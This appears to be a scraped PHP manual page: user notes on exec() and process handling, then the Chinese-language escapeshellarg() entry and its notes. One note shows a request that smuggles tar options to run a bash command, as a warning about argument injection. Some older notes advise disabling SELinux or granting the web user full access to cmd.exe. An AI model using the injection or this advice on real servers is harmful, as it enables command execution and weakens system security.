mosesdinakaran at yahoo dot co dot in 17-Mar-2008 06:49
Hi

     I had  problem with executing   exec(),shell_exec() (PHP is not running on Safe Mode).

     After spending some time I was able to find out that the Problem is  with SELinux enabled in my system.

      You can make sure about this by seeing the log  /var/log/messages
     So I disabled SELinux and now everything works.

     A Temporary  Disable to selinux #> setenforce 0;

     Since I felt this is not a good Idea I still went through some sites and find a solution which I felt good.

     Fedora's SELinux policy has some booleans - let's see what it has for our apache:
# /usr/sbin/getsebool -a | grep httpd
allow_httpd_anon_write -- off
allow_httpd_mod_auth_pam -- off
allow_httpd_sys_script_anon_write -- off
httpd_builtin_scripting -- on
httpd_can_network_connect -- off
httpd_can_network_connect_db -- off
httpd_can_network_relay -- off
httpd_disable_trans -- off
httpd_enable_cgi -- on
httpd_enable_ftp_server -- off
httpd_enable_homedirs -- on
httpd_rotatelogs_disable_trans -- off
httpd_ssi_exec --off
httpd_suexec_disable_trans -- off
httpd_tty_comm -- off
httpd_unified -- on

   From the above we can make sure that exec() is not working  because of this httpd_ssi_exec -- off   setting
  So I turned it On.

#> setsebool -P httpd_ssi_exec 1;

    Now I was able to see the output of shell_exec('ls -al')

Moses
luko post cz 29-Jan-2008 06:15
to lancelot:

it's simple exec($my_cmd) on windows executes 'cmd /c $my_cmd'
if there are any spaces in $my_cmd you have to put it in doublequotes:
cmd /c "$app $target" will work

further if there are any spaces in $app and $target they also have to be in doublequotes:
cmd /c ""$app" "$target""

therefore enclose your $cmd in two more doublequotes and dont forget to escape slashes \\

$cmd = "\"\"C:\\my path with spaces\\targetapp.exe\" \"C:\\mypathnospaces\\targetfile.xxx\"\"";

and exec($cmd) will work :)
no chdir anymore...
lancelot--du-lac at hotmail dot fr 24-Jan-2008 11:00
The note is about usage of exec() under windows...

In replay to k dot mitz dot NO_SPAM at att dot NO_SPAM dot net: why not enclose your $cmd in simple quotes instead?

Here is where i'm at right now (also TRYING to use exec() and passthru() on windows XP sp2):

you can do this:

$cmd = '"C:\my path with spaces\targetapp.exe" C:\mypathnospaces\targetfile.xxx';
exec($cmd);

The above works.
________

Or, you can put your script into your directory C:\my path with spaces\, and work with php directly from there:

$cmd = 'targetapp.exe "C:\my other path with spaces\targetfile.xxx"';
exec($cmd);

The above also works, provided of course your script has the correct working directory.
________

But... In your cmd.exe, you can issue:

"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"

Although the above works perfectly in the cmd, the following php script does NOT work on my system:

$cmd = '"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"';
exec($cmd,&$content);

Not that it sends an error, it just does nothing, and you get nothing written into your $content array... Not that I do understand why.
________

As far as my few tryings go, the root of the problem lies in the fact that the command to execute has two passages enclosed inside double quotes. Another command which I've had working in the cmd but NOT with php is:

'"C:\my path with spaces\Apache2\bin\Apache.exe" -w -n "Apache2" -k restart'

Maybe someone has a solution; I don't (other than using chdir).
jakster at gmx dot net 05-Jan-2008 04:56
To fork a process I use the following code

<?php

fclose(STDOUT);   //Close all output or it WON'T work
fclose(STDIN);
fclose(STDERR);

if(pcntl_fork()) {
    exit;            //Return to the caller
}

//Code to run in the background

pcntl_exec("/usr/bin/php",Array($_SERVER['argv'][1]));

?>

I call this script from my website with
<?php
function fork($script){        //run a forked php script relative to the document root. NO OUTPUT IS DISPLAYED!
    global $config;
    $cmd = "/usr/bin/php \"" . dirname($_SERVER['SCRIPT_FILENAME']) . "/includes/forked/forkHelper.php\" \"" . $script . "\"";
    exec($cmd);
}
?>
steve dot robinson at frogneck dot com 21-May-2007 07:46
If you are trying to use exec to run a cgi and output the contents via a php file, headers need to be seperated from the content and output seperately.

Also, at least in the case of the cgi I was attempting to execute, line feeds were missing, and some javascript didn't work as a result, so you may have to add line feeds back into the resulting output.  Here is the code I used to output my cgi properly...

<?PHP
putenv('REQUEST_METHOD=GET');

// to get your parameters passed into the cgi..
putenv('QUERY_STRING=' . $_SERVER['QUERY_STRING']);

//you will know you are past the header when you
//hit a blank line ('')
$inheader=true;
foreach($output as $val){
        if($val=='')
                $inheader=false;
        if($inheader)
                header($val);
        else
                echo($val . "\n"); // output contents
}
?>
php at fendy dot org 02-May-2007 05:51
Scheduling WinXP tasks with schtasks.exe and using PHP to execute the command, may sometime fail to work.

This is because, Apache does not have the privilege to access some of the System Files when placing the scheduling. The way I'd do: is by creating a normal user account and assign Apache service to logon as that account.

Open the 'services.msc' in the 'Run' window, look for Apache in the listing, right click and get to 'Properties'. Click at the second tab 'Log On' and fill in the 'This account' fields.

Of course, Apache needs to be installed as Service during its first setup.

Hope this helps anyone.

Fendy Ahmad
29-Jan-2007 08:16
it seams to me the best way would be to copy cmd.exe to a secure directory somewhere under your web directory, add it to the windows path and then call it from there using system commands. It seams as though that would get arround any security holes
Matt-kun 08-Dec-2006 10:50
Just a simple note to help people get rid of some headaches.

when using:
<?
       $filepath = "the path of the file";
       exec("program -command $filepath ");
       fopen($filepath,rw);
?>

Make sure you use  "\ " ( \ space) for the Linux\unix path and just " " space for fopen. These are both very basic things that you wouldn't normally think to cause a problem, but when you try to pass slashes to fopen it either breaks or even better works incorrectly =D. And vise versa for any programs that use "\ " for spaces in file paths/names.

I ran into this problem when using <? exec(" cp $path "); ?> and <? fopen("$path"); ?>. To fix it I used str_replace(" ","\ ",$path); and str_replace("\ ", " ",$path);

*Note this is alot of sudo code, and there are faster more effecient ways of doing the same operations, but I thought this might help those who were going crazy over filepaths =D.
t dot kramer at NOSPAM dot safetbus dot de 21-Sep-2006 02:21
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
Thomas
judas dot iscariote at gmail dot com 01-Jun-2006 12:19
This functions are generally considered harmful,without proper input validation procedures are as worse as eval().

If what you are trying to do is possible using other mechanism, ** do it that way, even if it takes more time **.

Do not cry or blame PHP if your server gets "owned" due to a missing escapeshell*** in your code , you have been warned.
manokan at manokan dot net 17-Apr-2006 10:09
Lets make it even clearer, about the "unable to fork" error in exec().

By default Windows XP sets all permissions for cmd.exe for the temporary internet user account (IUSER-[computername]) to DENY. That overrides everthing.

You must modify the security on cmd.exe to give the IUSER-computername account at least read & execute and remove the DENY.
not at any dot com 23-Feb-2006 12:16
at LAST!  tenacity pays off, days trying every little thing!

I didn't want batch files.  I'm trying to use PHP to get rid of batch files.

I didn't want to call a file to parse the parameters to call a shell to call a file.  I've got "systems" right now with batches tiered three and five deep.

I just wanted to run stuff.

CALL, tested on WinXP, will be testing on more OSes right away, in PHP4 and 5, with exec, system, works with popen, and passthru.

here is my lame sample function.

//  CreateZip
    function createzip ($target, $archive)
    {   $ziputil = "call \"c:\\Program Files\\7-zip\\7z.exe\"";
        $archived = escapeshellarg($archive);
        $targeted = escapeshellarg($target);

        $shellcommand= $ziputil." a -tzip ".$archived." ".$targeted."\n";

  // all of the below are working in Win XP Pro
    passthru ($shellcommand);
    exec ($shellcommand);
    system ($shellcommand);
    shell_exec ($shellcommand);
    $proc= popen ($shellcommand, "r"); //$proc contains output

LONG PATH NAMES WITH SPACES IN THEM ON WINDOWS!

all in a big long concatenated command line with multiple quoted-filename parameters

shell scripting bliss!
valqk at lozenetz dot org 24-Nov-2005 04:05
If you are chrooting php into enviornment that doesn't have /bin/sh you can't execute any command! Even when you call
mail() and it calls sendmail ... well actually sendmail NEVER gets called because /bin/sh is not in the chroot!
SO in conclusion: YOU MUST HAVE /bin/sh TO EXECUTE SOMETHING!!!
VERY IMPORTNAT!
I've lost few days while find this, hope it helps someone!!!
manokan at manokan dot net 27-Oct-2005 03:01
Even more on the "unable to fork" error.

It was driving me crazy! I did check that the permissions were set for the IUSR_[server] account to read & exec cmd.exe. Yet still it failed. It wasn't until I got desperate that I happened to look in "special permissions." (Click the advanced tab underneath the regular list of permissions.) There I found that  somehow the IUSR_[server] account had a special permission DENYING access! Of course deny overrides everything else.

This was a newly set up install of XP pro. It must be the default of something (I'd guess IIS) to set this deny permission just to make our lives miserable.
abhilashp at clariontechnologies dot co dot in 29-Sep-2005 09:58
I faced the problem of putting a shell script as a backgroud process using both exec() and system() commands on a FreeBSD Server with PHP 4.4.0

I tried all the above mentioned methods but couldnt succeded, then i coded this script and am sure will work on all Linux flavors... See if ot helps you all guys...

I Put my Shell Script in the variable $ExecCommand

and used the proc_close and proc_open functions the code is as follows :

proc_close (proc_open ($ExecCommand,array(),$somefun));

After the above line the rest of the usual  php script continues....

Hope it helps you guys..
Shaun 26-Jan-2005 01:53
Trying to use 'exec' to run a helper executable on Win2K3 (and I'm told this also happens on Win2K) from a PHP script running on IIS, failed to invoke the executable.

Running the same PHP script on Win2K using Apache to serve the page calling the same helper executable worked.

Solution: On Win2K3 (and probably Win2K), give the IIS IUSR_xxxxx guest user Read & Execute permissions to Cmd.exe found in the System32 folder under Windows root directory.

This one had me confused longer than it should have! Hope this saves others from the same fate!
margus at kohv dot com 18-Jan-2005 03:10
Well, I had this issue when I wanted to start an indefinitely running PERL script from PHP. Somehow I could not make the PHP script to return after executing the PERL script. So finally I came to following solution:

PHP file
-------------------
<?php
exec("perl /home/chatserver.pl > /dev/null");
?>
-------------------
This script will be run over HTTP.

PERL file
-------------------
#!/usr/bin/perl
fork and exit 1;

# normal code here...
-------------------

Hopefully it helps someone :)
Margus
sean @T keenio - dot - com 09-Jan-2005 11:35
Just to clarify, background shell exec()ing is not the same as a fork() under Unix. It would be useful if PHP supported fork() like Perl and other scripting languages do. Simply exec()'ing a process and sending it to the background is not the same.

A true fork() copies the current environment and duplicates the running script so that there are two instances, one child, one parent. The child and parent can determine which copy they are and then take separate courses of execution paths based on that. Often one copy will perform some "busy work" while the other returns to normal execution. But no matter what, both functions live within the same code rather than a separate, external program. exec()ing can not do this for you.
sam at freepeers dot com 01-Oct-2004 05:51
To clarify even more about what has been said in the last few posts:

"exec", "backticks", "system" and so on will fail on Windows 2003 by default.

You must modify the security on cmd.exe to give the user account IUSR-computername the necessary permissions which are at least read & execute.
leaetherstrip at inbox dot ru 08-Jul-2004 02:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use cacls command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
dotpointer 14-May-2004 06:02
Win32 / PHP 4.3.6...

If you plan to start programs on the server that show message boxes (things that require OK from the server-side), or remain (like notepad.exe), and the exec-command seems to go into an deadly loop, then MAYBE your program has started, but you can't see it. Because the web server runs as an system process, and it isn't allowed to interact with the desktop.

To solve a part of the problem (to see the programs you execute), in the control panel in Windows, goto Administration->Services, right-click the server-service, goto Properties and on the second tab (login?) and check the box about allowing the service to interact with the desktop. Click OK. Restart the webserver, and MAKE SURE it is restarted for real (i.e. look in the task manager so the service goes _down_), otherwise the desktop-option won't take.

Next phase would be to stop PHP from waiting for the processes to complete (this is what makes PHP "loop"). I solved this by creating a small Delphi-application that took the path to the file I wanted to execute and executed it by the WinExec API, which just starts the childprogram but doesn't wait for it to complete = the program completes and the PHP.exe completes the script. Problem solved!

Delphi-snippet:
WinExec(PChar(<CMD>),SW_SHOW); // replace <CMD> with the program path.
vosechu at roman-fleuve dot com 25-Mar-2004 06:35
Quick chart that helped me immensely (Best (+) / worst (o) of each command) and when to use each (w).

| exec(string cmd, [array cmd_output, [int cmd_exit_status]])
+- Second (optional) argument holds an array containing the output line by line.
+- Third (optional) argument holds the exit status of the executed program.
w- When the output of a command is only important to the program.

| system(string cmd, [int cmd_exit_status])
+- Echos ascii output straight to browser (only stdout; stderr must be redirected by putting 2>&1 after the command to see errors).
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is important to the user.

The more I go over my notes the less I care for the last two functions.
Shell_exec() = exec() + implode() - exit codes.
And while neccessary to be able to pipe binary through php, most people will never use passthru

| passthru(string cmd, [int cmd_exit_status])
+- Echos binary output directly to browser window.
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is binary.

| shell_exec(string cmd) <-- minimal features to maintain sync with normal use of backticks.
+- Returns full output as a string instead of directly to the browser (only stdout; stderr must be redirected).
o- No way to check exit status (Should use system() with both stderr and stdout redirected to /dev/null to get the exit code).
ferchland at computer-kontor dot de 22-Jan-2004 08:24
I tried to fork a GUI-process on WinNT, Apache 2, PHP4.
I saw the new process (notepad.exe) in the Task-Managers process-list, but no Notepad-Window anywhere!
After activating the checkbox "Interactive with Desktop allowed" in Services->Apache everthing works with a simple command
exec("start c:\\winnt\\notepad.exe");
dens at dodgeball dot com 18-Sep-2003 03:41
I was stuck for about an hour and a half last night trying to get Perl to pass back values to my PHP script after running an exec() command.

Since my Perl script was using STDOUT (after being passed command lines variables), I expected the variables used in my .pl script to be accessible in PHP, no questions asked.

Of course, this wasn't working and I finally figured it out with the help of a friend (Shawn = superstar):  you need to echo the exec() command in order to get the values back into PHP.

Since I was returning multiple values, I added pipe delimiters in my .pl script and then used PHP to parse the string to retreive my data into different variables.

Check it out:

#hit the .pl script with the data
$mydata = exec("script.pl 'command line args' ");
exec("exit(0)");

#parse the value that comes back from the .pl script
list($strA, $strB) = split ('[|]', $mydata);
echo "valueA: " . $strA."<br>";
echo "valueB: " . $strB."<br>";

Woo-hoo!
/d
software at yvanrodrigues dot com 29-Jul-2003 02:55
MORE ON THE UNABLE TO FORK MESSAGES IN WINDOWS:

I would like to confirm that this issue relates to permissions on %SYSTEMROOT%\SYSTEM32. The user (usually the anonymous login) must have execute permissions on cmd.exe

This is unlike most other programming languages. For example, in C the spawn and exec functions do not try to open a shell, they create the new process directly. PHP creates the new process via cmd.exe (or command.com) much like the C system() function. This is good for those of you who are trying to run batch files but this is very ineffecient for running other .exe files.

I feel uneasy about lifting permissions in my system32 directory but you can get around this by copying cmd.exe to your PHP directory. Windows will look there first and if it is not there it will check the path. Note: I mean the directory where php.exe is, not your script directory.

I have confirmed this by running filemon.exe while trying to execute a script, and you can see it trying to start the cmd.exe process.
kristof_jebens at hotmail dot com 23-Jun-2003 02:23
For WIN2K Server users running Apache 1.3.22 who are unable to run an executable...

exec('c:\\WINNT\\system32\\cmd.exe /c START c:\\file.exe');

this is the only way it worked for me.
Hope that helps
jpgiot at ifrance.com 25-Jan-2003 06:30
FOR WINDOWS USERS

i had a look to start command. it's really usefull in fact.

this is how i launch a specific Apache SSL server

<?php
$cmd = "start /D C:\OpenSA\Apache /B Apache.exe -D SSL";
exec($cmd,$output,$rv);
?>

/D specify the path where application will be launched (equivalent to cd to path)
/B launch application without a console window

so to know the exact parameters of start, you could use

<?php
exec("start /? > start.txt");
?>

and you will get the help of start in a file named 'start.txt' in the same place you run the script

for WIN 98 you may need to modify a little your command

exec("COMMAND.COM /C START program args >NUL");

(taken from another post)
qscripts at lycos dot nl 07-Jan-2003 05:45
Why not using the "start" utility, provided with every version of Windows to start processes in the background on Windows machines? For example :

exec("start song.mp3");

Which will cause the default handeling application for .MP3 file types to start playing the selected song..
k dot mitz dot NO_SPAM at att dot NO_SPAM dot net 15-Sep-2002 02:07
Newbie note:

The only syntax I found to work for the command portion of an an exec() call on a Win2K devel platform is:

$cmd = "\"path-to-exe\" args file-name";

where 'path-to-exe' has escaped double quotes, args are in the standard format, and 'file-name' has any backslashes escaped.

Example:

$cmd = "\"C:\program files\winzip\wzunzip.exe\" -c C:\\temp\\uploaded_file.zip";

exec($cmd,$output,$rv);

Note that the backslashes are escaped in the uploaded_file name, but not in the path to call the Winzip executable.  Go figure!
kop at meme dot com 12-Aug-2002 02:52
AFICT, the standard Unix Apache configuration causes an rare problem when running a job in the background. The MaxRequestsPerChild directive causes the child to terminate after 1000 requests, any background processes associated with the child will die with the child unless they are started with the "nohup" command.  Thus, the proper way to start a job in the background is to use:

exec('nohup my-command > /dev/null 2>&1 &')
ramirosuarez at fibertel dot com dot ar 12-Jul-2002 08:58
For Windows Users:

Keep in mind that a lot of UNABLE TO FORK Errors are the result of insufficient permissions.

CMD.EXE, TEMP Directory (or whatever you specified in php.ini), and all the directories that you use to upload o manipulate your files need to have Write privileges? usually user USER.

This will be useful for all the people who use GD Libraries or other programs that manipulate graphic images.
GCMXZPJPDJER at spammotel dot com 30-Jun-2002 12:41
to execute a script in background from php you don't need to use mikehup or other tools. just do:

`/usr/bin/php -q foobar.php >/dev/null 2>&1 &`;

mat
deschampsbest at noos dot fr 26-Jun-2002 01:05
I needed to know when a group of background tasks, which had been launched with a call to system, had terminated.
I could not find a function to call, so I created a little function.

It basically loops on the existance of a string in the results returned by the command ps.

All my commands, which run in background have the pid returned by posix_getpid in them.

I am able to launch many background task and effectively wait for them all to finish.

Before this, I would basically would sleep for N seconds.

I apologise if a well known or better method exist.

Thanks,
The New Bee
===============
===============

function wait_until_termination ($id, $duration){
                $i = 0;
                do {
                        $i += 1;

                        $cnt = `ps -auxww |
                                grep $id |
                                grep -v grep |
                                awk '{print $2}' |
                                grep -v $id|
                                wc -l` ;

                        if ($cnt > 0) {
                                sleep ($duration);
                        }

                } while ($cnt != 0);

                echo ("wait_until_termination (PID: $id, SEC: $duration) : LOOPS
:$i<BR>");
        }
rolland dot dudemaine at msg-software dot com 11-Apr-2002 05:45
In case you ever had to chain from php to another program (e.g. with a cgi php that only gives part of the output, or with php-gtk), here is a little C program that kills his parent (php, for instance), then launches a program given in argument.

chain.c :

#include <unistd.h>

int main(int argc, char**argv) {
  /* kill the parent */
  kill(getppid(), 15);
  argv++;
  /* then launch the new program */
  return execvp(argv[0], argv);
}
(compile with gcc -O3 -o chain chain.c)
then in php, use
<?
exec('chain sh -c echo test');
?>
vi_pa at hotmail dot com 05-Apr-2002 04:17
For those who want to execute a .php script to run in the background, from a
.php web page...

exec("php script.php parameters 2>dev/null >&- <&- >/dev/null &");

Where...
- php is the path to your php script executer (php has to be specifically complied to be to do this)
- script.php is the script
- parameters are none or more parameters
- 2>dev/null redirects the stderr to a file
- <&- switches off the stdin
- >&- switches off the stdout
- >dev/null redirects all other output to the file dev/null
- & direct script to run in background

This is the only way I managed to get it working (Linux & Apache, php 4x enviroment) . What is also great is that the process is forked so even though a user may close the browser that initiated the exec(), the process will still run to completion. And the dev/null file can be turned into a log.

What I found odd is that the script I was execing would run fine in the bg when executed from the command line, but not from the browser until I closed the stdin and stdout.
daniel dot hopp at godot dot de 01-Feb-2002 11:25
Re: session_write_close()

To launch a background process within a session, I recommend
to use a start-stop-daemon and ship parameters via ENV.

Example:
----------------------------------------
<?php
  // Within a session..
  exec("/some/where/launch.sh 300");
  // ..finished immediately.
?>

----------------------------------------
#!/bin/bash
# /some/where/launch.sh
T=$1
export T
DAEMON=/some/where/runme.pl
start-stop-daemon --start --quiet --background --exec $DAEMON

----------------------------------------
#!/usr/bin/perl
# /some/where/runme.pl
my $t = $ENV{'T'};
sleep($t);

----------------------------------------


把字符串转义为可以在 shell 命令里使用的参数

  • ? 程序执行函数
  • escapeshellcmd ?
  • PHP Manual
  • 程序执行函数
  • 把字符串转义为可以在 shell 命令里使用的参数

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数

说明

escapeshellarg(string $arg): string

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号，这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。

在 Windows 上，escapeshellarg() 用空格替换了百分号、感叹号（延迟变量替换）和双引号，并在字符串两边加上双引号。此外，每条连续的反斜线(\)都会被一个额外的反斜线所转义。

参数

arg

需要被转义的参数。

返回值

转换之后字符串。

示例

Example #1 escapeshellarg() 的例子

<?php
system('ls '.escapeshellarg($dir));
?>

参见

  • escapeshellcmd() - shell 元字符转义
  • exec() - 执行一个外部程序
  • popen() - 打开进程文件指针
  • system() - 执行外部程序，并且显示输出
  • 执行运算符

User Contributed Notes

lucgommans.nl 24-Feb-2023 05:55
This does not prevent all forms of command injection.

<?php
// GET /example.php?file[]=x&file[]=-I&file[]=bash%20-c%20touch\%20/tmp/lucwashere

$files_to_archive = [];
foreach ($_GET['file'] as $file) {
    $files_to_archive[] = escapeshellarg($file);
}

exec("tar cf my.tar " . implode(' ', $files_to_archive));
?>

Despite correct escaping to prevent shell injection, this will run the specified code. The arguments instruct tar to run a command in bash. You can then check the /tmp directory to verify that the code ran.

Of course, an attacker would replace this with a more malicious variant. For black box vulnerability testing, a sleep of a few seconds can be safely used to determine whether the parameter is vulnerable.

The vulnerability here is that tar, like nearly every other program, will interpret arguments that start with a hyphen as an option that modifies its behaviour. Many programs, such as tcpdump, man, zip, gpg, tar, etc., have an option to execute another command. Even if you use a program that does not (and will never) have such an execution option, its functioning would be influenced by the specified extra options, either on purpose or by accident because some string just happens to start with a hyphen (similar to how fields vulnerable to SQL injection accidentally break on any data with an apostrophe or quote symbol in it: it's just bad UX).

Many programs allow using a double hyphen, --, to separate positional arguments from options. If you change the above code to use this exec line, it is no longer vulnerable:

<?php
// notice the -- after specifying the options we want
exec("tar cf my.tar -- " . implode(' ', $files_to_archive));
?>

Not every program supports this separator, in which case you need to find an alternative input method (e.g., nmap -iL targets.txt instead of nmap 2001:db8::/96) or deny starting arguments with a hyphen.

Of course, ideally one would use data bindings via libraries to avoid having to do the dangerous escaping dance altogether, similar to parameterized SQL queries, but I did not yet see this caveat mentioned and thought it worth adding for when escapeshellarg() is still used.
Tony C 08-Sep-2022 09:59
While using this function to pass filenames to the command line I noticed shell_exec() was failing. Upon further investigation it appears escapeshellarg() removes double spaces from file names.

For example:

$filename = "my  super file.txt"; // notice the double space after "my"

echo escapeshellarg($filename);

Produces:
'my super file.txt'

(second space was removed)
Jannis 11-Mar-2022 07:17
escapeshellarg() will strip all invalid characters according to your locale settings (e.g. latin-1 characters are stripped when locale/LC_CTYPE is UTF-8).

Please keep in mind that the locale support depends on your C standard library while compiling. This might result in strange behavior on embedded systems that use a standard library with poor locale support, other  than glibc.
divinity76 at gmail dot com 11-Feb-2021 01:45
if you need to generate Linux arguments even when running on Windows, try

<?php

    /**
     * quote arguments using linux escape rules, regardless of host OS
     * (eg, it will use linux escape rules even when running on Windows)
     *
     * @param string $arg
     * @throws \InvalidArgumentException if argument contains null bytes
     * @return string
     */
    /*public static*/ function linux_escapeshellarg(string $arg): string
    {
        if (false !== strpos($arg, "\x00")) {
            throw new \InvalidArgumentException("argument contains null bytes, it's impossible to escape null bytes!");
        }
        return "'" . strtr($arg, [
            "'" => "'\\''"
        ]) . "'";
    }
Anonymous 11-Feb-2021 01:44
if you need to generate Linux arguments even when running on Windows, try

<?php

    /**
     * quote arguments using linux escape rules, regardless of host OS
     * (eg, it will use linux escape rules even when running on Windows)
     *
     * @param string $arg
     * @throws \InvalidArgumentException if argument contains null bytes
     * @return string
     */
    /*public static*/ function linux_escapeshellarg(string $arg): string
    {
        if (false !== strpos($arg, "\x00")) {
            throw new \InvalidArgumentException("argument contains null bytes, it's impossible to escape null bytes!");
        }
        return "'" . strtr($arg, [
            "'" => "'\\''"
        ]) . "'";
    }
crose 16-May-2020 01:40
Ubuntu: wondering why your system locale (e.g. 'en_US.UTF-8') is  not inherited to your Apache (still 'C')?

Check `/etc/apache2/envvars`  ... activate the line `. /etc/default/locale`
daverandom 23-Mar-2019 02:32
On Windows, this function naively strips special characters and replaces them with spaces. The resulting string is always safe for use with exec() etc, but the operation is not lossless - strings containing " or % will not be passed through to the child process correctly.

Correctly escaping shell commands on Windows is not a simple matter. Programs must consider two distinct escape mechanisms which serve different purposes:
 1) The convention used by the CommandLineToArgV() windows system function, used by the child process to interpret the command line string
 2) The convention used by cmd.exe to escape shell meta-characters (e.g. output redirection controls)

All commands should be escaped for CommandLineToArgV() - this mechanism is applied to each argument individually before it is appended to the command line string. The resulting string may be safely used with the CreateProcess() family of system functions. However...

In almost all cases when creating a child process from PHP on Windows, it is done indirectly by invoking cmd.exe - this is to enable the use of shell functionality such as I/O redirection and environment variable substitution. As a consequence, the entire command string must be further escaped for cmd.exe. If the executed command contains further indirect calls through cmd.exe, each child command must be escaped again for each level of indirection.

The following functions can be used to correctly escape strings such that they are safely passed through to a child process:

<?php

/**
 * Escape a single value in accordance with CommandLineToArgV()
 * https://docs.microsoft.com/en-us/previous-versions/17w5ykft(v=vs.85)
 */
function escape_win32_argv(string $value): string
{
    static $expr = '(
        [\x00-\x20\x7F"] # control chars, whitespace or double quote
      | \\\\++ (?=("|$)) # backslashes followed by a quote or at the end
    )ux';

    if ($value === '') {
        return '""';
    }

    $quote = false;
    $replacer = function($match) use($value, &$quote) {
        switch ($match[0][0]) { // only inspect the first byte of the match

            case '"': // double quotes are escaped and must be quoted
                $match[0] = '\\"';
            case ' ': case "\t": // spaces and tabs are ok but must be quoted
                $quote = true;
                return $match[0];

            case '\\': // matching backslashes are escaped if quoted
                return $match[0] . $match[0];

            default: throw new InvalidArgumentException(sprintf(
                "Invalid byte at offset %d: 0x%02X",
                strpos($value, $match[0]), ord($match[0])
            ));
        }
    };

    $escaped = preg_replace_callback($expr, $replacer, (string)$value);

    if ($escaped === null) {
        throw preg_last_error() === PREG_BAD_UTF8_ERROR
            ? new InvalidArgumentException("Invalid UTF-8 string")
            : new Error("PCRE error: " . preg_last_error());
    }

    return $quote // only quote when needed
        ? '"' . $escaped . '"'
        : $value;
}

/** Escape cmd.exe metacharacters with ^ */
function escape_win32_cmd(string $value): string
{
    return preg_replace('([()%!^"<>&|])', '^$0', $value);
}

/** Like shell_exec() but bypass cmd.exe */
function noshell_exec(string $command): string
{
    static $descriptors = [['pipe', 'r'],['pipe', 'w'],['pipe', 'w']],
           $options = ['bypass_shell' => true];

    if (!$proc = proc_open($command, $descriptors, $pipes, null, null, $options)) {
        throw new \Error('Creating child process failed');
    }

    fclose($pipes[0]);
    $result = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    stream_get_contents($pipes[2]);
    fclose($pipes[2]);
    proc_close($proc);

    return $result;
}

// usage

$badString = 'String with "C:\\quotes\\" or malicious %OS% stuff \\';
$cmdParts = [
    'php',
    '-d', 'display_errors=1', '-d', 'error_reporting=-1',
    '-r', 'echo $argv[1];',
    $badString // child process $argv[1] value
];

/* The typical approach - works fine on POSIX shells but totally wrong
   on Windows */
$wrong = implode(' ', array_map('escapeshellarg', $cmdParts));

/* Always escape each argument individually */
$escaped = implode(' ', array_map('escape_win32_argv', $cmdParts));

/* In almost all cases, escape for cmd.exe as well - the only exception is
   when using proc_open() with the bypass_shell option. cmd doesn't handle
   arguments individually, so the entire command line string can be escaped,
   no need to process arguments individually */
$cmd = escape_win32_cmd($escaped);

$cmds = [
    'escapeshellarg() - wrong' => $wrong,
    'escape_win32_argv() - correct for bypass_shell' => $escaped,
    'escape_win32_cmd(escape_win32_argv()) - correct everywhere else' => $cmd,
];

function check($original, $received)
{
    $match = $original === $received ? '=' : 'X';
    return "$match '$received'";
}

foreach ($cmds as $description => $cmd) {
    echo "$description\n";
    echo " $cmd\n";
    echo "  original:         '$badString'\n";
    echo "  shell_exec():   " . check($badString, shell_exec($cmd)) . "\n";
    echo "  noshell_exec(): " . check($badString, noshell_exec($cmd)) . "\n";
    echo "\n";
}
Jasen 30-Oct-2018 07:49
if you want empty arguments for empty input

use the form

     escapeshellarg($input)."''"

the shell will treat foo'' as foo  but empty input will become an empty argument instead of a missing one.
jon at wroth dot org 18-Apr-2014 07:20
the best alternative to escapeshellarg() for windows i've come up with is this:
<?php
function w32escapeshellarg($s)
{ return '"' . addcslashes($s, '\\"') . '"'; }
?>
wijnand at jpresult dot nl 11-Apr-2013 11:32
Here's a quick and dirty replacement of this function in case you need to deal with special characters.

<?php
/**
 * An ugly, non-ASCII-character safe replacement of escapeshellarg().
 */
function escapeshellarg_special($file) {
  return "'" . str_replace("'", "'\"'\"'", $file) . "'";
}
?>
sblyons+php at gmail dot com 24-Jul-2012 02:38
Take care if using escapeshellarg() on serialized objects. Serialized objects contain null bytes, and escapeshellarg stops on the first null byte so you will not receive the full argument. (I consider this a bug, though not sure what it should do in this case. Probably serialize shouldn't have used null bytes, but too late for that now).
The workaround I've found to pass serialized objects on the command line is to base64_encode() them first and decode on the other side.
phil at philfreo dot com 03-Aug-2010 03:56
When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>
phpman at crustynet dot org dot uk 12-Oct-2009 10:53
The comment from 'rmays at castlecomm dot com' is incorrect: single quotes cannot be backslash-escaped inside a single-quoted string when constructing a shell argument. The output from this function is in fact correct. It drops out of the single-quoted string, includes a literal single quote with a backslash-escape, then resumes the single-quoted string. Observe:

[shellarg.php]
<?php

system("echo ' single quote\'d '");
system("echo ' single quote'\''d '");
?>

$ php shellarg.php
sh: -c: line 0: unexpected EOF while looking for matching `''
sh: -c: line 1: syntax error: unexpected end of file
 single quote'd
jrbeaure at uvm dot edu 26-Jun-2009 06:51
When running a string of LaTeX code containing hyphens through as an argument to pdflatex escaped using this command, it will result in failure.
